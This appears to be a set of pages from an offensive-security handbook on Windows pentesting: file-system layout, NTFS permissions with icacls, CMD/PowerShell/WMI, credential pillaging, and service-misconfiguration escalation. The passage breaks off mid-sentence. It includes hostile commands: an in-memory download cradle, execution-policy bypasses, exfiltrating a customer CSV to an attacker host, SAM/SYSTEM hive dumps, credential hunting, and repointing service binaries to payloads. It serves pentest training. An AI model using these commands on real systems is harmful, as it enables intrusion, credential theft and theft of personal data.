| `Windows` | The bulk of the OS files | DLL hijacking, binary replacement targets | | `Windows\System32` | Core DLLs and the Windows API | Searched automatically when a program loads a DLL without a full path | | `Windows\SysWOW64` | 32-bit DLLs on 64-bit Windows | Same DLL-search relevance | | `Windows\WinSxS` | The Component Store — copies of all components, updates, service packs | Version artifacts | | `PerfLogs` | Performance logs, empty by default | Occasionally a writable drop spot | `C:\ProgramData` is the Windows equivalent of Linux's `/tmp` for an attacker — it's hidden, accessible by every user, and frequently has loose permissions. The scheduled-task script in the enumeration example lived here for exactly this reason. ### AppData — Where User Secrets Live Each user profile has a hidden `AppData` folder with three subfolders: | Subfolder | Contains | Pentest Relevance | | ---------- | ------------------------------------------------------------ | ------------------------------------------------ | | `Roaming` | Machine-independent data that follows the user's profile | Credentials, tokens, app configs, browser data | | `Local` | Machine-specific data, never synced across the network | Browser databases, cached credentials, app state | | `LocalLow` | Like Local but lower integrity (e.g. browser protected mode) | Sandboxed app data | `AppData` is where applications stash saved passwords, session tokens, and config files — always worth digging through during pillaging. *** ## File Systems Windows supports several file systems. Three are relevant today: FAT32, exFAT, and NTFS. NTFS is the one that matters most for pentesting because it carries the permission model. | File System | Key Traits | Pentest Relevance | | ----------- | ---------------------------------------------------------------------------- | ---------------------------------------- | | **FAT32** | Old, max 4GB file size, no permissions, no encryption | Removable media — no ACLs to worry about | | **exFAT** | Modern FAT replacement, no size limit, still no permissions | Removable media | | **NTFS** | Default since Windows NT. Granular permissions, journaling, large partitions | **The permission model you'll attack** | **Why NTFS matters to you:** * It enforces granular file and folder permissions (the ACLs you analyze with `icacls`) * It has journaling — file additions, modifications, and deletions are logged * Permissions inherit from parent folders by default, which is exactly how the writable-script misconfigs happen (a loose permission high up gets inherited all the way down) NTFS permissions are covered in depth on the [Permissions & icacls](/tech/windows/permissions-icacls) page. *** ## Exploring the File System — Command Line ### `dir` — List Directory Contents ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List everything including hidden and system files dir c:\ /a # Hidden files only dir c:\ /a:h # Recursive search for a filename across the drive dir c:\ /s /b filename.txt # Search for a file pattern recursively dir c:\*.kdbx /s /b ``` The `/a` flag shows hidden and system entries you'd otherwise miss — including things like `$Recycle.Bin`, `pagefile.sys`, and hidden config folders. ### `tree` — Visualize Directory Structure ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Show the folder structure of a directory tree "c:\Program Files (x86)\VMware" # Include files, page through one screen at a time tree c:\ /f | more ``` `tree` is useful for quickly understanding how an application or directory is laid out without clicking through it. ### PowerShell Equivalents ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List directory (ls / dir / gci are all aliases for Get-ChildItem) Get-ChildItem C:\Users # Recursive listing Get-ChildItem -Path C:\Users -Recurse # Find files by name across the system Get-ChildItem -Path C:\ -Recurse -Filter "*.kdbx" -ErrorAction SilentlyContinue # Show hidden files Get-ChildItem -Hidden C:\Users\bob ``` *** ## Hunting Interesting Locations A quick tour of where to look once you've got a shell: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # User profile contents — desktop, documents, downloads Get-ChildItem C:\Users\*\Desktop\ -ErrorAction SilentlyContinue Get-ChildItem C:\Users\*\Documents\ -ErrorAction SilentlyContinue # Writable drop/hijack locations Get-ChildItem C:\ProgramData -Recurse -ErrorAction SilentlyContinue Get-ChildItem C:\Users\Public -Recurse -ErrorAction SilentlyContinue # AppData — where credentials and tokens hide Get-ChildItem C:\Users\*\AppData\Roaming -ErrorAction SilentlyContinue # Recently modified files (post-exploitation activity, fresh configs) Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending | Select-Object -First 20 ``` The `-ErrorAction SilentlyContinue` flag is the PowerShell equivalent of Linux's `2>/dev/null` — it suppresses the access-denied errors that flood your output when recursing through directories you can't fully read. *** *Next: [NTFS Permissions & icacls](/tech/windows/permissions-icacls) — reading ACLs, spotting writable misconfigurations, and turning them into escalation.* # Windows Enumeration Checklist Source: https://hackbook.dudji.com/tech/windows/checklist Step-by-step checklist for every Windows box — from initial shell to full pillage. **Phase 1** covers what to do the moment you get a shell. **Phase 2** covers what to do once you have admin or SYSTEM. # Command line Source: https://hackbook.dudji.com/tech/windows/command-line ## The Mindset On Windows you'll work through one of several interfaces depending on how you got your shell. Each has strengths: * **CMD** — the classic command prompt. Limited, but present everywhere and great for quick enumeration * **PowerShell** — the powerful one. Full access to .NET, WMI, and the entire system. This is where serious work happens * **WMI** — not a shell but an interface into nearly every aspect of the system, queryable from both CMD (`wmic`) and PowerShell *** ## CMD — The Command Prompt The traditional interpreter. You'll often get a CMD shell first from an exploit, then upgrade to PowerShell. ### Core Commands ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Where am I? cd # What's here? (with hidden files) dir /a # Who am I and what can I do? whoami /all # Network config ipconfig /all # Active connections and listening ports netstat -ano # Current users net user # Local groups net localgroup # Members of the Administrators group net localgroup administrators # Find text in command output (Windows equivalent of grep) ipconfig | findstr "IPv4" netstat -ano | findstr "LISTENING" ``` ### `findstr` — The Windows grep ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Case-insensitive search netstat -ano | findstr /i "listening" # Search for a pattern in files recursively findstr /s /i "password" *.txt *.ini *.config # Search with regex findstr /r "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" file.txt ``` | Flag | Meaning | | ---- | ------------------------------------ | | `/i` | Case-insensitive | | `/s` | Recurse subdirectories | | `/r` | Treat search string as a regex | | `/v` | Invert — show lines that DON'T match | | `/n` | Show line numbers | *** ## PowerShell — The Real Tool PowerShell is object-oriented (commands return objects, not just text) and gives you full access to the system. This is where you do credential hunting, enumeration scripts, and most offensive tooling. ### Cmdlet Naming — Verb-Noun PowerShell commands follow a `Verb-Noun` pattern, which makes them discoverable: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Get-Process # retrieve running processes Get-Service # retrieve services Get-ChildItem # list directory contents Set-ExecutionPolicy # change a setting Stop-Process # terminate a process ``` ### Common Aliases PowerShell aliases many cmdlets to familiar CMD and Linux commands, so muscle memory carries over: | Alias | Cmdlet | Comes From | | ------------------ | --------------- | ----------- | | `ls`, `dir`, `gci` | `Get-ChildItem` | Linux / CMD | | `cat`, `type` | `Get-Content` | Linux / CMD | | `cd`, `chdir` | `Set-Location` | Both | | `cp`, `copy` | `Copy-Item` | Linux / CMD | | `rm`, `del` | `Remove-Item` | Linux / CMD | | `ps` | `Get-Process` | Linux | | `pwd` | `Get-Location` | Linux | | `echo` | `Write-Output` | Both | ### Discovery — Finding What You Need ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find all cmdlets with "network" in the name Get-Command *network* # Find commands by verb Get-Command -Verb Get # Get help and examples for a cmdlet Get-Help Get-Process -Examples # See all properties and methods of an object Get-Process | Get-Member ``` `Get-Member` is your best friend in PowerShell. Pipe any object into it to see every property and method available — that's how you discover what data you can extract from a command's output. ### Pipeline & Filtering Because PowerShell passes objects, you filter on properties, not text: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Filter objects by a property value Get-Process | Where-Object { $_.CPU -gt 100 } # Select specific properties Get-Process | Select-Object Name, Id, CPU # Sort by a property Get-Process | Sort-Object CPU -Descending # Count results (Get-Process).Count # Combine — top 5 processes by memory Get-Process | Sort-Object WS -Descending | Select-Object -First 5 Name, WS ``` *** ## Execution Policy PowerShell's execution policy restricts which scripts can run. It's **not a security boundary** — it's trivial to bypass, and you'll need to when running enumeration scripts. ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check the current policy Get-ExecutionPolicy # Restricted = no scripts can run (default on clients) ``` **Bypassing it (several ways, none require admin):** ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Bypass for a single script invocation powershell -ExecutionPolicy Bypass -File .\script.ps1 # Bypass for the current process only (no admin needed) Set-ExecutionPolicy Bypass -Scope Process # Pipe the script into PowerShell (sidesteps policy entirely) Get-Content .\script.ps1 | powershell -NoProfile - # Download and run in memory (never touches disk) IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/script.ps1') ``` `IEX (New-Object Net.WebClient).DownloadString(...)` is the classic "download cradle" — it pulls a script from your machine and runs it directly in memory, leaving nothing on disk for AV to scan. The modern equivalent uses `Invoke-RestMethod` (`irm`). *** ## WMI — Windows Management Instrumentation WMI is an interface to almost every part of the system — hardware, OS, processes, services, installed software. You query it when you need detailed system info, and it's available from both CMD and PowerShell. ### From CMD — `wmic` ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Installed patches (Quick Fix Engineering) wmic qfe # Running processes with full command lines wmic process get name,processid,commandline # Installed software wmic product get name,version # Service details including the binary path wmic service get name,startname,pathname,startmode # Local user accounts wmic useraccount get name,sid ``` `wmic process get ...,commandline` is a credential-hunting goldmine — just like `ps aux` on Linux, processes often have passwords passed as command-line arguments, and this shows them. ### From PowerShell — `Get-WmiObject` / `Get-CimInstance` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # OS version and build Get-WmiObject -Class Win32_OperatingSystem | Select-Object Version, BuildNumber # Services with their executable paths Get-WmiObject -Class Win32_Service | Select-Object Name, StartName, PathName, StartMode # Processes with command lines Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine # Installed software Get-WmiObject -Class Win32_Product | Select-Object Name, Version # Logged-on users Get-WmiObject -Class Win32_LoggedOnUser ``` `Get-WmiObject` is deprecated in favor of `Get-CimInstance` (same syntax, swap the cmdlet name). Use `Get-CimInstance` on modern systems, but know `Get-WmiObject` for older boxes where the newer cmdlet may behave differently. *** ## Quick Reference ### CMD | Command | Purpose | | ----------------------------- | ------------------------------- | | `whoami /all` | Full user/privilege/group dump | | `ipconfig /all` | Network configuration | | `netstat -ano` | Connections and listening ports | | `net user` / `net localgroup` | Users and groups | | `findstr /s /i "password" *` | Search files for a string | ### PowerShell | Command | Purpose | | ------------------------------------------- | ------------------------------ | | `Get-Command *keyword*` | Discover cmdlets | | `... \| Get-Member` | Inspect an object's properties | | `... \| Where-Object {...}` | Filter by property | | `... \| Select-Object prop` | Pick properties | | `Get-ExecutionPolicy` | Check script policy | | `Set-ExecutionPolicy Bypass -Scope Process` | Bypass policy (no admin) | ### WMI | Command | Purpose | | ------------------------------------------ | ---------------------------------- | | `wmic qfe` | Installed patches | | `wmic process get name,commandline` | Processes + command lines (creds!) | | `wmic service get name,pathname,startname` | Service binary paths | | `Get-WmiObject Win32_OperatingSystem` | OS version | | `Get-CimInstance Win32_Service` | Services (modern) | *** *Next: [Processes & Services](/tech/windows/processes-services) — finding running processes, abusing service misconfigurations, and dumping credentials from memory.* # Windows Source: https://hackbook.dudji.com/tech/windows/index Windows internals from an offensive security perspective. Step-by-step enumeration and pillaging checklist for every Windows box. Who you are, what privileges you hold, and the first commands on every Windows box. Key directories, writable paths, and the filesystem layout that shapes every attack. ACLs, icacls, and finding misconfigurations that lead to privilege escalation. CMD, PowerShell, and the shell techniques you need from first access onward. Running processes, services, scheduled tasks, and their attack surface. RDP, WinRM, SMB, and PsExec for moving to and between Windows hosts. Enumerate and access SMB shares for credentials, configs, and sensitive files. Persistence keys, credential storage, and config secrets hidden in the registry. Defender, AppLocker, UAC, and the defenses that shape your approach. Extract credentials, secrets, and sensitive data once you have access. # Permissions icacls Source: https://hackbook.dudji.com/tech/windows/permissions-icacls ## The Mindset On Windows, permissions are controlled by **ACLs** (Access Control Lists). Every file and folder has one, and it lists exactly which users and groups can do what. Your job as a pentester: * **Find what you can write to** — especially scripts and binaries that run as a higher-privileged user * **Find what you can read that you shouldn't** — config files, credential stores * **Spot inheritance mistakes** — a loose permission set high in the tree gets inherited all the way down *** ## How NTFS Permissions Work An ACL is made up of **ACEs** (Access Control Entries). Each ACE grants or denies a specific permission to a specific user or group. The basic permission types, from least to most access: | Permission | What It Allows | | ----------------------- | --------------------------------------------------------------- | | **Read (R)** | View file contents and attributes | | **Read & Execute (RX)** | Read plus run executables | | **Write (W)** | Modify file contents and attributes | | **Modify (M)** | Read, write, execute, and delete the file | | **Full Control (F)** | Everything, including changing permissions and taking ownership | For escalation, **Write (W)**, **Modify (M)**, and **Full Control (F)** on a file that runs as someone else are what you're hunting. If you can modify a script or binary that SYSTEM or Administrator executes, you control what runs as SYSTEM or Administrator. *** ## `icacls` — Reading Permissions `icacls` is the primary command-line tool for viewing and modifying NTFS permissions. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} icacls "C:\ProgramData\CorpBackup\Scripts" ``` **Example output:** ``` C:\ProgramData\CorpBackup\Scripts BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(M) CORP\john:(I)(W) ``` Each line is one ACE: a principal (user/group) followed by their permissions in parentheses. ### Permission Codes | Code | Meaning | | ---- | -------------- | | `F` | Full Control | | `M` | Modify | | `RX` | Read & Execute | | `R` | Read only | | `W` | Write only | | `D` | Delete | ### Inheritance Codes These appear in parentheses alongside the permission and tell you *where* the permission comes from: | Code | Meaning | | ------ | ----------------------------------------------------------------------------------- | | `(I)` | Inherited from the parent folder | | `(OI)` | Object Inherit — applies to files in the folder | | `(CI)` | Container Inherit — applies to subfolders | | `(IO)` | Inherit Only — the ACE doesn't apply to the object itself, only what it passes down | | `(NP)` | No Propagate — inheritance doesn't go beyond one level | So `BUILTIN\Users:(I)(M)` means the Users group has **Modify** rights, **inherited** from the parent. If your user is in `Users`, you can modify everything in that folder — including any script a privileged task runs from it. *** ## Finding Writable Misconfigurations This is the core pentest workflow. You're looking for files or folders writable by your user (or a group you're in) that are executed by something more privileged. ### Check a Specific File or Folder ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check the script a scheduled task runs icacls "C:\ProgramData\CorpBackup\Scripts\backupprep.ps1" # If you see your user or Users/Everyone with (W), (M), or (F) — you can hijack it ``` ### Hunt Writable Files with PowerShell ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check write access to a specific file Get-Acl "C:\ProgramData\CorpBackup\Scripts\backupprep.ps1" | Format-List # Recursively find files your user can write to (using accesschk is cleaner — see below) Get-ChildItem -Path "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $acl = Get-Acl $_.FullName -ErrorAction Stop $acl.Access | Where-Object { $_.FileSystemRights -match "Write|Modify|FullControl" -and $_.IdentityReference -match "Users|Everyone|Authenticated" } } catch {} } ``` ### accesschk (Sysinternals) — The Cleaner Way `accesschk` from Sysinternals is purpose-built for this and far faster: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find files writable by the Users group under a path accesschk.exe -uws "Users" "C:\Program Files" # Find writable directories accesschk.exe -uwds "Users" "C:\" # Check write access for the Everyone group accesschk.exe -uwqs "Everyone" "C:\*" ``` | Flag | Meaning | | ---- | ----------------------------------- | | `-u` | Suppress errors | | `-w` | Show only objects with write access | | `-s` | Recurse into subdirectories | | `-d` | Directories only | | `-q` | Omit the banner | Writable **service binaries** and **scheduled-task scripts** are the highest-value finds. Cross-reference what you find here against the services and tasks from the [Processes & Services](/tech/windows/processes-services) page — a writable file means nothing until you know something privileged runs it. *** ## Modifying Permissions Once you've escalated (or if you already have the rights), `icacls` also grants and revokes permissions: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Grant a user Full Control icacls "C:\path\to\file" /grant john:F # Grant Modify icacls "C:\path\to\file" /grant john:M # Remove a user's permissions icacls "C:\path\to\file" /remove john # Take ownership (requires SeTakeOwnership or admin) takeown /f "C:\path\to\file" # Reset permissions to inherited defaults icacls "C:\path\to\file" /reset ``` *** ## NTFS vs Share Permissions When accessing files over the network (SMB), **two** permission layers apply, and the most restrictive one wins: | Layer | Scope | Applies When | | --------------------- | ------------------------ | --------------------------------- | | **NTFS permissions** | Local and network access | Always — controls the file itself | | **Share permissions** | Network access only | Only when accessed over SMB | So a folder might grant Everyone Full Control at the share level, but if NTFS only grants Read, you get Read. Conversely, generous NTFS permissions don't help over the network if the share permission is restrictive. This matters when you're enumerating SMB shares — covered on the [SMB & Network Shares](/tech/windows/smb-shares) page. *** *Next: [Command Line: CMD, PowerShell & WMI](/tech/windows/command-line) — the interfaces you'll work through and how to get the most out of each.* # Pillaging Source: https://hackbook.dudji.com/tech/windows/pillaging ## The Mindset Pillaging is post-exploitation with the goal of extracting value. On Windows you're hunting: * **Credentials** — saved passwords, hashes, tokens, keys, config secrets * **Sensitive data** — customer records, financial files, PII (the stuff that proves impact in a report) * **Infrastructure intel** — domain info, internal hostnames, connection strings for lateral movement * **Persistence material** — anything that helps you keep or regain access The difference between enumeration and pillaging is intent. Enumeration maps the system; pillaging strips it. *** ## Start With Automated Enumeration Before manual hunting, run an automated enumeration script. These find privilege-escalation paths and sensitive files far faster than you can by hand. ### winPEAS The Windows equivalent of linPEAS — checks for service misconfigs, weak permissions, stored credentials, autostart entries, and dozens of other privesc vectors in one run. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Run the full check (color-coded; red/yellow = high interest) winPEASx64.exe # Quieter, log to a file for review winPEASx64.exe log ``` ### Other Tools | Tool | Purpose | | --------------- | -------------------------------------------------------------- | | **winPEAS** | All-in-one privesc enumeration | | **PowerUp.ps1** | PowerShell privesc checks — service misconfigs, unquoted paths | | **SharpUp** | C# port of PowerUp — faster, compiled | | **Seatbelt** | Host survey — broad data collection | | **LaZagne** | Recovers stored passwords from 100+ applications | ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerUp — run all privesc checks . .\PowerUp.ps1 Invoke-AllChecks ``` Run winPEAS first to get the lay of the land, then **manually verify** anything it flags before exploiting. Automated tools produce false positives, and on a defended box they're noisy — know that running them may generate alerts. *** ## Hunting Sensitive Files This is the core of pillaging — finding the files that contain credentials or prove impact. ### Search by Filename and Extension ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Files with sensitive-sounding names across the C: drive dir c:\*password* /s /b dir c:\*secret* /s /b dir c:\*credential* /s /b # Common sensitive file types dir c:\*.kdbx /s /b & rem KeePass databases dir c:\*.config /s /b & rem app configs (connection strings) dir c:\*.csv /s /b & rem data exports — customer records, PII dir c:\*.bak /s /b & rem backups ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell — find files by multiple extensions Get-ChildItem -Path C:\ -Include *.kdbx,*.config,*.csv,*.bak,*.xml,*.txt -Recurse -ErrorAction SilentlyContinue # Find files modified recently (fresh data, active work) Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending | Select-Object -First 30 FullName, LastWriteTime ``` ### Search File Contents for Credentials ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Search files recursively for credential strings findstr /s /i /m "password" c:\*.txt c:\*.ini c:\*.config c:\*.xml findstr /s /i /m "connectionstring" c:\*.config findstr /s /i /m "pwd=" c:\*.* ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell — grep file contents recursively Get-ChildItem -Path C:\ -Include *.config,*.xml,*.ini,*.txt -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|pwd|secret|connectionstring|apikey" ``` *** ## Where Credentials Hide on Windows A targeted tour of the highest-value locations: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Unattended install files — often contain plaintext admin passwords Get-ChildItem -Path C:\ -Include unattend.xml,sysprep.xml,unattended.xml -Recurse -ErrorAction SilentlyContinue # also: C:\Windows\Panther\Unattend.xml # PowerShell history — users paste credentials into commands Get-Content (Get-PSReadlineOption).HistorySavePath # default: C:\Users\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # Saved IIS / web.config connection strings Get-ChildItem -Path C:\inetpub -Include web.config -Recurse -ErrorAction SilentlyContinue | Select-String "connectionString" # Stored Windows credentials cmdkey /list # Group Policy Preferences passwords (cpassword — decryptable) Get-ChildItem -Path C:\ -Include Groups.xml,Services.xml,ScheduledTasks.xml -Recurse -ErrorAction SilentlyContinue # Browser-saved data, app configs, tokens Get-ChildItem C:\Users\*\AppData\Roaming -Recurse -ErrorAction SilentlyContinue Get-ChildItem C:\Users\*\AppData\Local -Recurse -ErrorAction SilentlyContinue ``` **The highest-value credential locations:** | Location | What's There | | ------------------------------------ | ------------------------------------------------------------------------------- | | `C:\Windows\Panther\Unattend.xml` | Plaintext admin password from install | | PowerShell `ConsoleHost_history.txt` | Commands with credentials typed in | | `web.config` / IIS configs | Database connection strings | | `cmdkey /list` + runas | Stored credentials usable without knowing the password | | GPP XML (`cpassword`) | AES-encrypted password with a public key — instantly decryptable | | SAM/SYSTEM hives | Local password hashes (see [Registry](/tech/windows/registry)) | | LSASS memory | Live credentials (see [Processes & Services](/tech/windows/processes-services)) | `cmdkey /list` shows stored credentials you may not know the password for — but you can often still *use* them with `runas /savecred`, executing commands as that account without ever seeing the password. *** ## The Exfiltration Endgame Finding the data is half the job — extracting it and proving impact is the other half. Picture the classic scenario: you've landed on a box, escalated, and found `customer_database.csv` sitting in a shared folder — thousands of customer records with names, emails, and payment details. ### Confirm What You've Found ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Inspect the file — confirm it's real data before exfiltrating Import-Csv C:\Shares\Finance\customer_database.csv | Select-Object -First 5 (Import-Csv C:\Shares\Finance\customer_database.csv).Count # how many records ``` ### Exfiltrate It ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Option 1 — pull it down via your SMB share or evil-winrm's download # (in evil-winrm:) download C:\Shares\Finance\customer_database.csv # Option 2 — host a listener on Kali and push from the target # On Kali: nc -lvnp 4444 > customer_database.csv ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # On the target — send the file to your listener # (PowerShell file transfer to your Kali web server) Invoke-WebRequest -Uri "http://10.10.14.1:8000/upload" -Method POST -InFile "C:\Shares\Finance\customer_database.csv" ``` ### Why This Matters — Impact & Reporting This is where pentesting connects to the real world. That CSV isn't just a flag — it represents: * **PII exposure** — names, addresses, payment data. Under **GDPR**, a breach of this data can mean fines up to 4% of global annual revenue * **Demonstrated business impact** — "we got admin" is abstract; "we exfiltrated 40,000 customer records including payment details" is a board-level conversation * **The evidence that justifies the engagement** — proving real data was reachable is what drives organizations to fix things In a real engagement, **do not actually exfiltrate** sensitive PII unless your rules of engagement explicitly permit it. Usually you prove access — a screenshot of the first few rows, the record count, the file path and permissions — without removing the data. Removing real customer data can itself create legal liability. Know your ROE. *** ## Pillaging Checklist ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} :: AUTOMATED FIRST winPEASx64.exe :: SENSITIVE FILES BY NAME dir c:\*password* c:\*secret* c:\*.kdbx c:\*.csv /s /b :: CREDENTIALS IN FILE CONTENTS findstr /s /i /m "password connectionstring pwd=" c:\*.config c:\*.xml c:\*.ini :: UNATTENDED INSTALL FILES dir c:\Windows\Panther\Unattend.xml /s /b :: STORED CREDENTIALS cmdkey /list :: SAM / SYSTEM HIVES (needs admin/SeBackup) reg save HKLM\SAM C:\Users\Public\sam.save reg save HKLM\SYSTEM C:\Users\Public\system.save ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # POWERSHELL HISTORY Get-Content (Get-PSReadlineOption).HistorySavePath # APPDATA CREDENTIAL HUNT Get-ChildItem C:\Users\*\AppData -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|token|apikey" -ErrorAction SilentlyContinue ``` *** *Next: [Windows Security Mechanisms](/tech/windows/security-mechanisms) — UAC, AppLocker, Defender, and the defenses you'll work around.* # Processes services Source: https://hackbook.dudji.com/tech/windows/processes-services ## The Mindset Processes and services matter for the same reasons they do on Linux, plus a Windows-specific bonus: * **Attack surface** — services running as SYSTEM with known vulnerabilities * **Credential exposure** — passwords passed as process arguments, credentials in memory (LSASS) * **Service misconfigurations** — weak permissions on the service itself, its binary, or its registry key → run your code as SYSTEM *** ## Processes ### Listing Processes ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Basic process list tasklist # Verbose — includes the user context each process runs as tasklist /v # Show which services are hosted in each process tasklist /svc ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell — richer object output Get-Process # Include the owning user (needs elevation for other users' processes) Get-Process -IncludeUserName # Processes with their full command lines (credential hunting) Get-WmiObject Win32_Process | Select-Object Name, ProcessId, CommandLine ``` `tasklist /v` shows the user each process runs as — spot anything running as a high-privilege account that you might be able to interact with or inject into. Processes running as SYSTEM are the prize. ### Hunting Credentials in Process Arguments Just like `ps aux` on Linux, Windows processes often have passwords passed as arguments: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # CMD via wmic wmic process get name,commandline | findstr /i "pass pwd cred" ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match "pass|pwd|cred|key" } | Select-Object Name, CommandLine ``` *** ## Services A Windows service is a background program managed by the Service Control Manager (SCM). Each service has: * A **name** and display name * A **binary path** (the executable it runs) * A **start mode** (Auto, Manual, Disabled) * A **service account** it runs as — often `LocalSystem` (SYSTEM), `LocalService`, or `NetworkService` ### Listing Services ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All services and their state sc query # Detailed config for one service (binary path, account, start mode) sc qc # Via wmic — name, account, binary path, start mode in one shot wmic service get name,startname,pathname,startmode ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All services Get-Service # Service details including the account it runs as and its binary path Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName, StartMode, State ``` *** ## Service Misconfigurations — The Escalation Paths There are four classic service misconfigs. Each one ends with your code running as the service account (usually SYSTEM). ### 1. Weak Service Permissions If your user can change a service's configuration, you can repoint its binary to your own payload. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check service permissions with accesschk (Sysinternals) accesschk.exe -uwcqv "user" # Look for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS in the output ``` The service's permissions are stored as an SDDL string. View it with: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sc sdshow ``` If you have `SERVICE_CHANGE_CONFIG`, repoint the binary and restart: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Point the service at your payload sc config binpath= "C:\Users\Public\payload.exe" # Restart the service to trigger it (runs as the service account) sc stop sc start ``` Note the space after `binpath=` — `sc config` requires a space between the `=` and the value, or it silently fails. This trips people up constantly. ### 2. Weak Service Binary Permissions If you can't change the service config but you *can* overwrite the binary it runs, do that instead: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find the binary path sc qc # Check if you can write to it icacls "C:\Path\To\service.exe" accesschk.exe -quvw "C:\Path\To\service.exe" # If writable — replace it with your payload, then restart the service ``` ### 3. Unquoted Service Paths If a service's binary path has spaces and **isn't wrapped in quotes**, Windows searches each space-delimited segment in order. You exploit this by planting a payload at one of the earlier paths. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find unquoted paths with spaces wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """ # Example vulnerable path: # C:\Program Files\Some App\service.exe (no quotes, has a space) ``` For `C:\Program Files\Some App\service.exe`, 